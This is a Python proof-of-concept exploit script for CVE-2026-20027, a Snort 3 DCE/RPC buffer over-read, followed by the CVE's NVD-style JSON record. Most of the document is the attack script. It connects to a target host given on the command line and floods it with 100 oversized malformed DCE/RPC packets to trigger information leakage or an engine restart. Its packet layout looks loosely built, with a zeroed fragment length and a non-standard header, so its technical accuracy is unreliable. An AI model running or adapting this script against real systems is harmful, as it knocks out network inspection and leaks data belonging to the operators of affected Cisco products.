CVE-2026-20027

#!/usr/bin/env python3 # CVE-2026-20027 PoC - Snort 3 DCE/RPC Buffer Over-read # This PoC demonstrates sending malformed DCE/RPC requests to trigger the vulnerability import socket import struct import sys def create_dcerpc_bind_packet(): """Create a DCE/RPC bind packet with oversized fragments""" # DCE/RPC packet header structure version = 5 packet_type = 0x0B # Bind/Alter context flags = 0x03 # Fragment, Last fragment # UUID for interface interface_uuid = b'\xa0\x36\x9b\x28\x97\x62\x1b\x41\xbe\x62\x97\x74\x68\x4f\x3a\x6f' # Create header with oversized data length packet = bytearray() packet.extend([version, packet_type, flags, 0x00]) # Header packet.extend(struct.pack('<H', 0x0000)) # Frag length (will be manipulated) packet.extend(struct.pack('<H', 0x0000)) # Call ID # Add interface UUID packet.extend(interface_uuid) # Add oversized data to trigger buffer over-read # This simulates the malformed DCE/RPC request oversized_data = b'\x41' * 4096 packet.extend(oversized_data) return bytes(packet) def exploit(target_ip, target_port=135): """Send malformed DCE/RPC requests to trigger vulnerability""" print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Sending malformed DCE/RPC packets...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send multiple malformed packets for i in range(100): packet = create_dcerpc_bind_packet() sock.send(packet) print(f"[+] Packet {i+1} sent") print("[*] Attack completed. Check for information leak or service restart.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 135 exploit(target, port)

{"cve": {"id": "CVE-2026-20027", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:16:02.877", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple Cisco products are affected by a vulnerability in the processing of DCE/RPC requests that could allow an unauthenticated, remote attacker to cause the Snort 3 Detection Engine to leak sensitive information or to restart, resulting in an interruption of packet inspection.\r\n\r\nThis vulnerability is due to an error in buffer handling logic when processing DCE/RPC requests, which can result in a buffer out-of-bounds read. An attacker could exploit this vulnerability by sending a large number of DCE/RPC requests through an established connection that is inspected by Snort 3. A successful exploit could allow the attacker to obtain sensitive information in the Snort 3 data stream."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snort3-dcerpc-vulns-J9HNF4tH", "source": "[email protected]"}]}}